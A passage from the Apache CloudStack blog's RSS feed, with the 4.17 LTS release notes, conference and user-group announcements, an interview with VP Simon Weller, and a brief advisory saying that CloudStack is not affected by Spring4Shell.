            <description><![CDATA[Apache CloudStack 4.17 is the latest release of the cloud management platform from the Apache Software Foundation and is a result of months of work from the development community. Apache CloudStack 4.17 is an LTS (Long Term Support) release so will be maintained for a period of 18 months after release.]]></description>
            <content:encoded><![CDATA[<p>Apache CloudStack 4.17 is the latest release of the cloud management platform from the Apache Software Foundation and is a result of months of work from the development community. Apache CloudStack 4.17 is an LTS (Long Term Support) release so will be maintained for a period of 18 months after release.</p><p>As always, the release contains a myriad of small improvements and bug fixes but here we focus on the major new functionality of the release.</p><p><strong>VR Zero Downtime upgrades and Live Patching</strong></p><a href="/img/imported/bc49a766-6b83-4e9c-b4f9-a233a176699f"><img loading="lazy" src="/img/imported/bc49a766-6b83-4e9c-b4f9-a233a176699f" alt="0.png" width="750" height="393" class="img_ev3q"></a><p>This is one of the most anticipated improvements by existing Apache CloudStack operators. CloudStack has always been easier to upgrade than many of its competitors but has required its virtual routers to be redeployed during an upgrade.</p><p><strong>o Zero Downtime Upgrades for Virtual Routers</strong><br>With this new feature, the virtual router does not have to go through the process of complete removal and instantiating a new one involving shutdown, resource release, system VM template copy from secondary storage to primary, starting and VR configuration<br>Previously when a new release of Apache CloudStack was deployed, the operations team had to organize maintenance windows to allow the redeployment of every virtual router. Now an in-place upgrade of CloudStack virtual routers can be performed with zero downtime.<br></p><p><strong>o VR Live Patching</strong><br>Underpinning zero downtime upgrades is the new feature VR live patching. This feature can also be used independently of upgrades and allow CloudStack admins to apply software updates to Virtual Routers on the fly. Previously all Apache CloudStack scripts to manage the Virtual Router were stored in an ISO image and mounted during the first boot and then copied to the Virtual Router. Now the update is performed dynamically , as long as the base OS remains constant , users to not need to recreate the Virtual Router.</p><p><strong>IPv6 support for Isolated and VPC Networks</strong></p><a href="/img/imported/919e55f8-b723-4680-b538-f9afc2ce0e01"><img loading="lazy" src="/img/imported/919e55f8-b723-4680-b538-f9afc2ce0e01" alt="2.png" width="750" height="393" class="img_ev3q"></a><p>IPv6 is considered a natural evolution of any system that intends to be present in computing environments in the future. The RIPE NCC, which assigns IP addresses in 76 countries to ISPs and other organizations, got its final allocation of IPv4 addresses from the Internet Assigned Numbers Authority (IANA) in 2012.<br>Apache CloudStack already supported IPv6 for Shared Networks; now IPv6 is also supported for Isolated Networks and VPC. Users can deploy IPv6 networks where routing is currently static, allowing users to use subnets of IPv6 networks directly in CloudStack instances.<br>In this context, unlike IPv4 that relies on NAT to deliver network services to users, the Virtual Router behaves like a real router, routing IPv6 packets and allowing users to configure firewall.</p><p><strong>StorPool Storage Plugin</strong></p><a href="/img/imported/c15f95e5-3b77-4bc5-b518-dc42ca867041"><img loading="lazy" src="/img/imported/c15f95e5-3b77-4bc5-b518-dc42ca867041" alt="3.png" width="710" height="456" class="img_ev3q"></a><p>StorPool is a software defined storage platform in use by many CloudStack operators globally. StorPool has had “managed storage” integration with CloudStack for some time but now the StorPool Storage plug-in is natively included with Apache CloudStack. Thanks to the built-in automation of the plug-in, cloud builders can seamlessly manage their cloud from CloudStack’s familiar user interfaces, and all storage-related operations are transparently passed down to the underlying StorPool primary storage system.</p><p>With the Storpool plug-in, the features available in StorPool get inherited by each cloud-deployed - enabling cloned provisioning, instant snapshots, thin provisioning, backup/DR and QoS policies per virtual disk and/or per Instance. Instance provisioning is nearly instantaneous and data placement policies and other settings can be changed in-flight to address changes in user requirements.</p><p><strong>Self-service Network Improvements</strong></p><a href="/img/imported/417bd9d1-ba39-4904-b56b-bcf226dab4ff"><img loading="lazy" src="/img/imported/417bd9d1-ba39-4904-b56b-bcf226dab4ff" alt="4.png" width="668" height="575" class="img_ev3q"></a><p>Previously, the creation of Shared Networks and Private Gateways was an admin- only feature. When a user needed a Shared Network or Private Gateway, they would have to make a service request to the Service Provider or infrastructure operations team. Only after that, users could configure and use their respective resources.</p><p>With Apache CloudStack 4.17, users can self-serve the creation of these resources through the UI or API with no involvement of the admin.</p><p><strong>Multi-account Network Access</strong></p><a href="/img/imported/6c540c73-9951-4cb7-8a4c-7fdf1b25a000"><img loading="lazy" src="/img/imported/6c540c73-9951-4cb7-8a4c-7fdf1b25a000" alt="5.png" width="750" height="242" class="img_ev3q"></a><p>In Apache CloudStack, users are organized into a logical structure of Accounts and Domains. In previous version of Apache CloudStack, the resources of each Account weren’t shared, and each Account had its own resources. As an example, sometimes​​​​​​ a particular software application from a specific Account needed to access an application in another account under the same Domain. For this to be feasible, users configured their networks with the firewall rules, port forwarding, load balancing or private gateway to allow this type of use case. In addition, this configuration caused a lot of network overhead as all packets had to go through 2 different Virtual Routers to reach their destination.</p><p>With Apache CloudStack 4.17, users can connect their instances by adding a new network interface from an Account under the same Domain, simplifying this kind of use case. Furthermore, if the communication between instances occurs only at OSI layer 2, several overheads are removed, considering that the I/O packets will be established between the instances directly in the same network layer to which they are connected.</p><p><strong>Multiple SSH Keys</strong></p><a href="/img/imported/6242bd8e-d5ad-4027-aed4-3dd576a58199"><img loading="lazy" src="/img/imported/6242bd8e-d5ad-4027-aed4-3dd576a58199" alt="6.png" width="750" height="393" class="img_ev3q"></a><p>CloudStack users can now create Instances and include multiple SSH Keys. This avoids the need to share private keys between users that access the Instance.</p><p>Previously, if users needed to add more SSH Keys to access the instance, it was necessary to connect to the instance and then edit the .ssh/authorized_keys file, however now all the keys needed can be selected during the instance creation itself.</p><p><strong>Structured System Events</strong></p><a href="/img/imported/69265134-a914-48d2-8af0-70cb5d8d0828"><img loading="lazy" src="/img/imported/69265134-a914-48d2-8af0-70cb5d8d0828" alt="Untitled design.png" width="750" height="647" class="img_ev3q"></a><p>Apache CloudStack 4.17 brings much more structure to its system Events. Auditability and traceability of operations performed are important requirements for most organisations.</p><p>CloudStack Events are the primary data-source for auditing and troubleshooting a CloudStack environment. Events have now been improved by being explicitly linking to the resource that the event concerns. This allows Events to be searched, filtered and sorted by object.</p><p>Navigation is also improved, allowing users to navigate easily to the events for a specific object i.e. Instance, Network, Host</p><p>Many CloudStack operators had previously parsed the Event messages to store them in a 3rd party data source. The messages remain unchanged to allow backwards compatibility of such integrations.</p><p><strong>Snapshot improvements</strong></p><p>Apache CloudStack 4.17 introduces storage-based snapshots - an alternative for taking snapshots of virtual machines running under the KVM hypervisor. The current implementation uses libvirt to perform the snapshot and doesn’t allow storage providers that keep VM virtual disks in RAW format (e.g., Ceph/NetApp SolidFire/LINSTOR/StorPool Storage) to take VM snapshots.</p><p>The storage-based snapshots feature provides for such storage systems the functionality to take crash-consistent snapshots of any VM’s virtual disks without the memory. The feature relies on each underlying storage plug-in’s capability to create/revert/delete virtual disk snapshots.</p><p><strong>Instance and Volumes migration improvements</strong></p><p>Apache CloudStack allows admins to migrate Instances and volumes using a wizard. Previously this wizard would automatically allocate Primary Storage for Instance Volumes based solely on storage tags. CloudStack 4.17 now allows the admin to explicitly allocate each Instance Volume to different specific Primary Storages.</p><p>In addition, to make more informed decisions while selecting destination host and storage, additional information is presented in the UI such as the occupancy of existing capacity of these resources, which brings a significant improvement in migration functionality.</p><p><strong>More flexible service offerings</strong></p><a href="/img/imported/7d34a18b-a0d9-4da5-8ffe-bfb66496aaf3"><img loading="lazy" src="/img/imported/7d34a18b-a0d9-4da5-8ffe-bfb66496aaf3" alt="9.png" width="750" height="596" class="img_ev3q"></a><p>Apache CloudStack 4.17 redefines the relationship between the Service Offerings used for Instance Root Disks and the Service Offering for the Instance itself.</p><p>Instance Root Volumes were previously handled decoupled from Disk Offerings: a change of the Root Volume characteristics wasn’t possible due to this logical disconnection. Thus, users couldn’t, for example, change to a Disk Offering that guaranteed higher I/O needs if necessary. So, there were two types of resources, Root volume and Data volume, but the treatment used in both was not unified.</p><p>The existing model is still fully supported if required, but this improvement gives operators far greater flexibility when it comes to the provisioning and billing for root volumes.</p><p><strong>Server Status Report</strong>Apache CloudStack 4.17 now gives admins the ability to see the status/health of their Management Servers, the Usage Server, and the underlying database server (and their respective individual components). This feature is available in the UI and API for integration/monitoring purposes.</p><p><strong>KVM multiple local storage</strong></p><p>Apache CloudStack 4.17 now supports multiple local storage volumes for KVM based Hosts. Previously, for KVM hosts, it was only possible to have one primary local storage, which prevented providers from adding extra disks to be offered on CloudStack.</p><p>With this improvement, if more than one local disk on the KVM host is available, it is possible to designate them to be offered as a local disk offering , thus enabling a better use of allocated resources.</p><p><strong>Reserve and release Public IPs</strong>Users can now reserve public IPs for later use on their networks. This new functionality makes managing this feature easier, as users often need to have IP information available beforehand to parameterize DNS records, for example.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference 2022 - November 14-16]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2022-november</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2022-november</guid>
            <pubDate>Thu, 26 May 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[For the 10th consecutive year, the Apache CloudStack community is organising its major event - CloudStack Collaboration Conference, running from 14th to 16th November 2022. The event will be a hybrid event, giving attendees and speakers the option to join in Sofia, Bulgaria (Exact location TBD) or remotely from their computers. By doing so, the conference will allow more people from the Apache CloudStack community and people interested in the technology, to learn more about it and its latest capabilities and integrations.]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-collaboration-conference-2022-november"><img loading="lazy" src="/img/imported/c8eec338-5d20-4e46-80d3-376294e441f0" alt="Screenshot 2022-05-26 at 15.49.12.png" width="750" height="393" class="img_ev3q"></a><p>For the 10<sup>th</sup> consecutive year, the Apache CloudStack community is organising its major event - CloudStack Collaboration Conference, running from 14<sup>th</sup> to 16<sup>th</sup> November 2022. The event will be a hybrid event, giving attendees and speakers the option to join in Sofia, Bulgaria (Exact location TBD) or remotely from their computers. By doing so, the conference will allow more people from the Apache CloudStack community and people interested in the technology, to learn more about it and its latest capabilities and integrations.</p><p>The hybrid event is aimed at developers, operators and users to discuss and evolve the open-source software project, its functionality and real-world operability. This event will introduce you to the CloudStack family, community leaders, project members and contributors.</p><p>CloudStack Collaboration Conference welcomes attendees from all over the globe. Our core audience is enterprises, cloud service providers, telcos and MSPs. Every region sends its best and brightest to share insights and knowledge on open-source technology, orchestrating public and private clouds, building IaaS.</p><p>The 2022 edition of the CloudStack Collaboration Conference comes as a 3-day conference, with the schedule to be determined. The Call for Presentations is currently open, so if you are interested in presenting, then you should submit it as soon as possible to maximise the chance of being accepted. The link for CFP is <a href="https://docs.google.com/forms/d/e/1FAIpQLSeE2o9IZTVHaPvsBJXQW2gZjZqxjZ7CynUJb9MZ22s7uyzyDA/viewform" target="_blank" rel="noopener noreferrer">here.</a></p><p>CloudStack Collaboration Conference is a free to join event, open to anybody who wants to learn more about one of the most powerful Apache Software Foundation projects. Registration is open and free: <a href="https://events.hubilo.com/cloudstack-collaboration-conference-2022/register" target="_blank" rel="noopener noreferrer">Registration link.</a></p><p>In past years, CloudStack events have consistently partnered with some of the top companies to bring our events to life. By partnering with CloudStack Collaboration Conference you get brand visibility into one of the most dynamic and vibrant open-source communities globally. Find out more about sponsorship opportunities and the event, by visiting the official event website - <a href="https://www.cloudstackcollab.org/" target="_blank" rel="noopener noreferrer">https://www.cloudstackcollab.org/</a></p><p>If you have any questions about the event, send over an email to <a href="mailto:info@cloudstackcollab.org" target="_blank" rel="noopener noreferrer">info@cloudstackcollab.org</a></p><p>&nbsp;</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Meet the Community - Simon Weller - VP of Apache CloudStack]]></title>
            <link>https://cloudstack.apache.org/blog/meet-the-community-simon-weller</link>
            <guid>https://cloudstack.apache.org/blog/meet-the-community-simon-weller</guid>
            <pubDate>Mon, 09 May 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Simon Weller is the new VP of Apache CloudStack announced in late March 2022. Simon has been an Apache CloudStack PMC member for the last few years. He has a strong technology background in multiple competencies, including networking and systems. In addition to it, he has a significant business development background with both start-ups and established organizations and is a highly experienced strategic thinker and relationship builder.]]></description>
            <content:encoded><![CDATA[<a href="/blog/meet-the-community-simon-weller"><img loading="lazy" src="/img/imported/3cc5849c-9512-4afd-a4f6-d22038d97990" alt="Screenshot 2022-05-09 at 11.26.23.png" width="750" height="393" class="img_ev3q"></a><p>Simon Weller is the new VP of Apache CloudStack announced in late March 2022. Simon has been an Apache CloudStack PMC member for the last few years. He has a strong technology background in multiple competencies, including networking and systems. In addition to it, he has a significant business development background with both start-ups and established organizations and is a highly experienced strategic thinker and relationship builder.</p><p>Currently, Simon Weller is the Vice President Of Technology of Education Networks of America. He is responsible for the technology initiatives at ENA across the Systems, R&amp;D, Internal Systems and Data Architecture and Business Intelligence teams. Simon is also heavily involved in product development and business development.</p><p>Ivet Petrova, Marketing Director at ShapeBlue interviewed Simon as part of the Meet the Community Series. You can watch this <a href="https://www.youtube.com/watch?v=_sVYGehxsn0&amp;t=332s" target="_blank" rel="noopener noreferrer">here</a>. Below, you can find some of the key point’s Simon laid out in the video.</p><p><strong>Тhe </strong><strong>Evolution of Apache CloudStack: </strong><strong>Continue the community vision and drive forward</strong></p><p>‘I think that every project that gets accepted under the Apache umbrella always has to try and build that really important base of community, because without that community, you can't survive. We see a lot of projects that have got a lot of excitement and they just fade away. I think what's been really great about CloudStack over the years is that we've managed to really continue that community vision and we've got a really great core group of people that have been around a long time that still have that passion and want to encourage others to participate as well. But the most important thing of open source is, you have to get others to want to contribute and you have to get others to want to give up some of their time and effort in order to make sure that you don't just survive, but that you can actually drive forward a project into the future and make it sustainable.’</p><p><strong>The Everyday Problems Open-source Solutions Solve: Building a Long-term sustainability</strong></p><p>‘Part of what I've done since I started in technology has always been trying to leverage the best technology and the best open-source solutions that we can. But I think one thing that is often missed by a lot of enterprise environments and organisations is that they think that they can just take and just walk away. But the most important thing to sustainability long term is you have to be able to give back as well. So, part of what my mission has always been working at open source for a long time, is making sure that when we do talk to others and we encourage them to try the technology out and hopefully implement it into production, but also think about how are they going to give back long term so that the product and the project is sustainable.’</p><p><strong>The Secret of a Successful Open-source Community: Engagement in all areas</strong></p><p>‘I think it's a bit of a misnomer that a lot of people have that you have to be a developer in order to be able to give back to open-source. So, I'm not a great developer, I dabble a little bit, but I'm not going to claim that I'm the best developer suited for any particular environmental project. Where I come in personally is I really try and give back to the user base from an engineering perspective. You've got a problem -how do we help you fix it? You want to implement a potential way of doing things - how can we encourage others to collaborate on it together? So, I think that a lot of people need to get out of that mindset, that you've got to be a coder in order to be able to give back to open source. There are so many other areas that you can contribute. I mean, case in point Ivet, you're fantastic at what you do, but you're not a developer, right? But you are encouraging others through your engagement practises, through organising events, through promoting the project overall to the community. And that is just as important, if not more so than ever writing a line of code. So I think that a lot of people need to start to maybe think about other areas that they can contribute outside of just writing a line of code, because a project doesn't survive long term unless you have that marketing capability, unless you have the outreach and you're able to encourage new participants because ultimately you're always going to have some people leaving the community and you need a long, robust pipeline of new members coming in to help out as well.’</p><p><strong>Implementing CloudStack: Scalability, simplicity and reliability</strong></p><p><strong>&nbsp;</strong>‘I think that what draws a lot of people to CloudStack is the fact that it supports a lot of different technologies. And a lot of companies at some point get to a realisation that they have to scale their environment. And doing that with a lot of the other products on the market with a commercial open source can be quite challenging. And case in point, we've seen a lot of folks over the years that have started off with VMware or they might have started off with a public cloud solution like AWS or Azure or Google Cloud. They get to a point and then they figure out, well, how are we going to scale this? And let me explain what I mean by that, because a lot of people right now are saying, well, of course, you can scale AWS or Azure or Google Cloud, you can, but at a massive cost. So, scaling comes in to both how to make money long term if you're a commercial entity. And how to minimise those costs, how do you make it more manageable and how do you get to that next level? So, I think a lot of entities that start looking at that solution, such as Apache CloudStack, I think in not just about the pure technology play, but their thinking about the viability of the product long-term. Typically, what we see is that as new companies get started, or even established companies get started, they see a higher margin opportunity on the front end, and over time that starts to get a bit more commoditized. They're looking for areas of savings in the underlying technology, and I think that's where a lot of people start to look at CloudStack. I think also you see other people and other companies that have been at open-source for a long time. And they might have deployed KVM or some other hypervisor technology. And they just get to that technological point where they can no longer scale managing manually 100 hosts or something like that. And so, they start to look for orchestration methods to make their life easier. And that's really where CloudStack shines.’</p><p><strong>The Benefits of Open-source Technology: Much more than cost-savings</strong></p><p>‘The number one thing that I always think about is flexibility. And the ability for you to take something that has already been built out and then add new capabilities to it, to meet the mission of your organisation's goals. For example, we've contributed a lot of new features to CloudStack over the years that have been driven by customer demands. And that's the best way to build a business, as you build stuff that customers want to buy. So, I think by utilising open source in general or CloudStack or any open-source tooling, it allows you to take a great set of features and functionality that will scale and then add your own secret sauce to it. Or as we often do, give back that secret sauce to the community so they can get a benefit from it as well.’</p><p><strong>Apache CloudStack: When and how it fits? </strong></p><p><strong>&nbsp;</strong>‘I'd like to say that it can suit everyone, but I think that's probably not entirely true. I think that you have to have some level of expertise on your team in order to be able to support it long term. And that doesn't mean that you need to have a massive team. The fact that could be a team one, but it does take, as with any software platform in any project, it does take expertise in order to operate at long term. So, what I would say is, is that if you were thinking about deploying Apache CloudStack and you already have a few Linux chops under your belt, then that's probably more than enough for you to be able to explore and deploy. CloudStack is extraordinarily easy to deploy. We love to say that it just works. And that's a true statement. But if something starts to go south, if something starts to go wrong, you're going to have to start digging in a little better to the underpinnings of how the infrastructure works. Because you have to remember that CloudStack is effectively an orchestrator. It's managing other components. So those other components can go south, but CloudStack could be fine, right? So, it's important that you have a good understanding of how the ecosystem of various underpinnings of CloudStack functions so that you are more empowered to address problems if they do arise.’</p><p><strong>The Path of Constant Improvement</strong><strong>: </strong><strong>From IaaS to building PaaS products on top of Apache CloudStack</strong></p><p>‘I think the community is always looking for new ways to improve. No software platform is perfect, right? If it is, then we could just go home, open a bottle of wine, and everything would be great. To be realistic about it, there’s always new features. And the market is evolving at such a rapid pace these days that a lot of organisations are looking for new ways to be able to consume a service or consume a product. And I think that from CloudStack’s perspective, we've been very deliberate about where we plan, where we don't play. So, CloudStack has typically always been an infrastructure as a service orchestrator play. And there are other folks out there that are taking that as the underpinnings and building various platform as a service on top. So, I think there's always areas that we can improve and new features that we could add that are more underpinnings. But I think that one thing that we've always done really good at as a community is knowing where we play and where we don't play, because in the end it's fine to contribute a massive new feature, but if no one's going to support it long term, then it's very difficult to get others to come in and number one, help out with that and to be able to promote it.’</p><p><strong>Building a Stable Roadmap Inside an Open-source Community</strong></p><p>‘It often depends on open source of how the oversight is run. So, in some open-source projects, someone has decided that they want to open source and software and they put it up on GitHub and they are effectively God. They can do whatever they want. Whether other people support them or not is effectively irrelevant in that picture. But when you've got a large product or service that is inside a more structured entity such as Apache, we have a lot of guidance on how a community should interact. And I think honestly, that is very healthy because we really want others to contribute ideas. We need to have a robust discussion around things. And sometimes that robust discussion can be a bit difficult for certain people. But it is it is crucial that we get by from the community in order to chart the right path. So, I wouldn't say it's a typical product management style roadmap that we see in open source, but it is very important that as ideas are brought to the table, they are discussed and that others are willing to support the overall vision so that we do go in the right direction. I think the other component too and we see this quite a lot in CloudStack is, we have commercial entities out there that are providing support and development services. Good examples of that is ShapeBlue and CloudOps and others. And they have customers that might say, you know what? We want you to develop this new feature for CloudStack, and then they agree to open source it and give it back to the community. So that's also a great way to continue to feature development because those features are often very commercially driven. And considering we are obviously predominantly used by those that commercially driven, those features can be easy to adopt by others as well.’</p><p><strong>Release Management: Rapid Development of New Features and Capabilities</strong></p><p>‘We try and keep the release cadence pretty consistent overall. We have major releases and we have minor dot releases that are really focussed very much on critical bug fixes because in the end, the operator's utilising CloudStack expect stability. And so, we have to be quite deliberate about what we will allow and what we won't allow. So typically, when we're talking about a major release such as 4.16 or the future for 4.17, we are talking about new features that could be breaking changes. Potentially, we'll have high risk associated with them. If we're talking about 4.16.1, then we're talking about very, very minor changes that are totally focussed on stability and bug fixes. In terms of how we decide what features are going to new major release milestones, that's really got a lot to do with what has been reviewed and what the overall community is comfortable with. So, if an organisation or a developer brings in a new feature, they will open a pull request and they will request that to be merged and they will request review of that pull request via members of the community. And the members of the community will then make suggestions, or they might say, you know what, this is a cool feature, but we think it might break something else. And so, we would work with that contributor to figure out maybe how to re-implement that. But a very important part of CloudStack is stability. So, we always smoke test all of the new features that come in because we want to make sure that we are providing that long term stability that our users expect.’</p><p><strong>Becoming Part of Apache CloudStack: An advice for developers</strong></p><p>‘CloudStack is a huge project. I mean, the amount of code at times is a bit mind boggling. And I think the number one thing that I would recommend to someone who wants to get into development is become part of the mailing lists. You know, we have great development mailing lists, we have great user mailing lists and get a test environment set up, start to play with it, start to understand the features, how the features work in your environment, and then start to explore the code. And don't be scared of asking questions. You know, we have a great group of people who are really, really willing to help. And I, for one, want to make sure that anyone who comes to the community is going to get a benefit of being able to hopefully avoid the pain and suffering that some of us have gone through trying to figure out how certain things work. If you’re trying to implement something in a particular driver, I guarantee there’s someone that has already suffered that pain before. So just asking on the mailing list, we can find that right person for you and they can hopefully help shortcut that learning curve. And the events are fantastic. During the COVID era which has obviously been challenging for all of us, we have had some of our biggest online events. Ivet you have produced and made them super successful which is fantastic. And so, it’s just great seeing all these new people come out of the woodwork who are willing to learn and willing to become part of the community.’</p><p><strong>The Targets of the VP: Simon’s vision for the CloudStack development</strong></p><p>‘I’m very lucky that the PMC’s voted for me to be in this role and I just want to thank them for the support. Really, I just am going to be continuing on from the trailblazing people before me. We’ve had a great group of others that have been in the VP position over the last decade. And I think the number one thing that every single person in this role wants, is to help drive forward the vision in the community around Apache CloudStack. So, that’s really what I want to help do, I want to continue to talk to as many people as possible and hopefully encourage them to be part of the community so that we can continue to see the widescale success that we’re known for. And I think part of getting out there and promoting the overall project is the desire to have more users. Because in the end we need that strong user base to not just survive, but to thrive. And there’s always going to be a new use case that someone figures out. I think what we are starting to see more and more in the enterprise community right now is that public cloud is always going to be there. And I think that as some larger enterprises start to look at their costs associated with that, their starting to look a little bit more wider field of what the other options might be. So, we’re seeing more and more companies saying, well look I know we said we weren’t going to go and rent co-locations space again and put in servers and run our own cloud. But we should really run the numbers and figure out what they would look like’</p><p><strong>CloudStack in 3 words</strong></p><p>‘It just works’</p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Advisory on Spring4Shell (CVE-2022-22965&nbsp;and&nbsp;CVE-2022-22963)]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-advisory-on-spring4shell-cve</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-advisory-on-spring4shell-cve</guid>
            <pubDate>Thu, 14 Apr 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[At the beginning of April 2022, vulnerabilities in the Spring Framework for Java were publicly revealed. Many companies noticed active exploitation of the Spring4Shell vulnerability assigned as CVE-2022-22965. This vulnerability allows hackers to execute the Mirai botnet malware. The exploit allows threat actors to download the Mirai sample to the /tmp folder and execute them after changing its execute permission using chmod.]]></description>
            <content:encoded><![CDATA[<p>At the beginning of April 2022, vulnerabilities in the Spring Framework for Java were publicly revealed. Many companies noticed active exploitation of the Spring4Shell vulnerability assigned as CVE-2022-22965. This vulnerability allows hackers to execute the Mirai botnet malware. The exploit allows threat actors to download the Mirai sample to the <code>/tmp</code> folder and execute them after changing its execute permission using <code>chmod</code>.</p><p>Currently, there are two vulnerabilities that allow malicious actors to achieve remote code execution (RCE) for Spring Framework - <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965" target="_blank" rel="noopener">CVE-2022-22965</a>, <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963" target="_blank" rel="noopener">CVE-2022-22963</a>.</p><p>The origin appears to be tracked to VMware products and spring-framework has published new releases <a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#am-i-impacted" target="_blank" rel="noopener">v5.3.18 and v5.2.20</a> as mitigation.</p><p>CloudStack is not affected by Spring4Shell RCE and these CVEs because it isn't deployed as a WAR package and doesn't use Tomcat as the servlet container (it uses embedded Jetty and is deployed as an uber-jar). Further, it doesn't use spring-webmvc or spring-webflux dependencies.</p><p>As part of the Apache CloudStack project's routine maintenance and release efforts, a pull request towards the next 4.17 LTS release (4.17.0.0 milestone) that upgrades the spring-framework dependency to the latest v5.3.18 has been merged:</p><a href="https://github.com/apache/cloudstack/pull/6250/files" target="_blank" rel="noopener">https://github.com/apache/cloudstack/pull/6250/files</a>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack European User Group Virtual - April 7th, 2022]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-european-user-group-virtual</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-european-user-group-virtual</guid>
            <pubDate>Wed, 30 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack is thrilled to share the word of the upcoming&nbsp;CloudStack European User Group Virtual Conference&nbsp;- the virtual get together for the&nbsp;European CloudStack Community. The event is taking place on&nbsp;7th April 2022, where you will be able to meet the leading CloudStack experts, users and skilful engineers from the open-source world.&nbsp;]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-european-user-group-virtual"><img loading="lazy" src="/img/imported/3c8af793-da2a-41bf-be44-9ab1c5b4185c" alt="CSEUG-Reg-2.jpg" width="750" height="393" class="img_ev3q"></a><p>Apache CloudStack is thrilled to share the word of the upcoming&nbsp;<a href="https://events.hubilo.com/cloudstack-european-user-group/register" target="_blank" rel="noopener noreferrer"><strong>CloudStack European User Group Virtual Conference</strong></a>&nbsp;- the virtual get together for the&nbsp;<strong>European CloudStack Community</strong>. The event is taking place on&nbsp;<strong>7th April 2022</strong>, where you will be able to meet the leading CloudStack experts, users and skilful engineers from the open-source world.&nbsp;</p><p>Join technical talks, user stories, new features, integrations presentations and more!</p><p>Become part of the CSEUG Virtual on April 7<sup>th</sup>, 2022!</p><p><a href="https://events.hubilo.com/cloudstack-european-user-group/register" target="_blank" rel="noopener noreferrer"><strong>REGISTER NOW</strong></a></p><hr><a href="/img/imported/048962db-316c-441f-8fd2-cc1e787c7009"><img loading="lazy" class="img_ev3q"></a><p><strong>AGENDA</strong></p><p><strong>09:30 - 09:45 - Welcome + CloudStack News -&nbsp;</strong>Giles Sirett, Chairman CSEUG,&nbsp; PMC member, Apache CloudStack</p><p>Giles Sirett will be giving an outline of what everyone can expect for the day. Join the official event opening to learn more about the upcoming sessions, speakers and networking events. Discover also the latest news from the CloudStack Community!</p><p><strong>09:45- 10:30 - CloudStack with Ansible,&nbsp;</strong>Rene Moser</p><p>This call involves a brief introduction about how it all began and how the project stands today including a real-world example of how Ngine.io have managed workloads with Ansible on Exoscale.</p><p><strong>10:40 - 11:25 - Leveraging CloudStack and Apiculus to Launch and Operate a Profitable Public Cloud Business, </strong>Sunando Bhattacharya, IndiQus</p><p>Learn more about the learnings of IndiQus Technologies from working with 20+ cloud operators across the globe. CloudStack has been powering numerous cloud providers globally for over a decade. In this talk, Sunando Bhattacharya, CEO of IndiQus, will be delving into the primary reasons why CSPs are preferring it over the OtherStack and how IndiQus is combining CloudStack with their platform Apiculus, to deliver a Cloud Business platform. He will also be sharing some user stories about how some of his company’s customers revolutionized the cloud business in their respective countries, thereby busting some myths about the IaaS business.</p><p><strong>11:35 - 12:20 - Building a DR Solution with CloudStack, </strong>Venko Moyankov, StorPool</p><p>Building a Disaster Recovery solution with KVM is not trivial. In this talk, Venko Moyankov will present how CloudStack cloud management and StorPool Storage can be used to build a multi-datacentre cloud with Disaster Recovery capabilities.</p><p><strong>12:30 - 13:15 - VM Job Queues in CloudStack,&nbsp;</strong>Suresh Kumar Anaparti, Software Engineer, ShapeBlue</p><p>CloudStack allows various life cycle operations for a Virtual Machine (VM). It maintains queues internally, to sync and perform all these operations. This talk briefs about how job queues are maintained in CloudStack, to execute the VM operations, followed by a demo.</p><p><strong>13:25 - 13:55 - Security in Shared Networks with VMware NSX, </strong>Alireza Eskandari, Afranet</p><p>Shared networks security can be a serious concern if different untrusted tenants use it together. Alireza will discuss Afranet’s solution for IP and DHCP spoofing for these networks on VMware environments which are managed by CloudStack.</p><p><strong>14:05 - 14:50 - Integrating CyberSecurity Active Measures into CloudStack Kubernetes Service, </strong>Jesus Escolar, Exelerys</p><p>There is a constant rise in Cloud Native adoption. Most companies are evaluating how to migrate to newer, flexible, and automated platforms. Cloud-Native provides the answer, as well as the complications. Cloud-Native solutions are building themselves alone across the business, but who's securing them? Jesus will discuss the evolution of infrastructure solutions to Cloud Native, how can they be secured on CloudStack, what opensource security options are available today for CloudStack and where the future is leading towards Cloud Native security for CloudStack.</p><p><strong>15:00 - 15:30 - Boosting I/O Performance with KVM io_uring, </strong>Wido den Hollander, CLDIN B.V.<u></u></p><p>Storage performance is becoming much more important. KVM io_uring attempts to bring the I/O performance of a virtual machine to almost the same level as bare metal. Apache CloudStack has support for io_uring since version 4.16. Wido will show the difference in performance io_uring brings to the table.</p><p><strong>15:40 - 16:10 - Backup and Restore VMs based on KVM, </strong>Quentin Roccia &amp; Joffrey Luangsaysana, Dimsi</p><p>Dimsi has developed a backup solution for Virtual Machines based on KVM hypervisors. Every layer of the product uses Open Source libraries or components (Python, VueJS, Celery, Borg Backup, Redis, Socketio, Flask). There is no agent needed on the VMs. Dimsi has implemented a feature to group the hosts based on their use (CloudStack Hosts or Management Hosts) and apply specific policies to the groups. In the CloudStack context, this product can help you backup and restore all your VMs easily if the hypervisors are KVM-based. Moreover, restoring the VMs is effortless because KVM and CloudStack use the same id for the VM disks, so no need to hack the database to match them.</p><p><strong>16:20 - 17:05 - A Kubernetes CAPI Provider for Apache CloudStack, </strong>Peter (Motyka) Motykowski, Sr. Software Development Manager - Customer Engineering at Amazon Web Services (AWS)</p><p>Discover the new Kubernetes CAPI (Cluster-API) provider for Apache CloudStack "CAPC", enabling you to manage a range of Kubernetes clusters across Apache CloudStack and other supported infrastructure providers!CAPI is a Kubernetes sub-project focused on providing declarative APIs and tooling to simplify 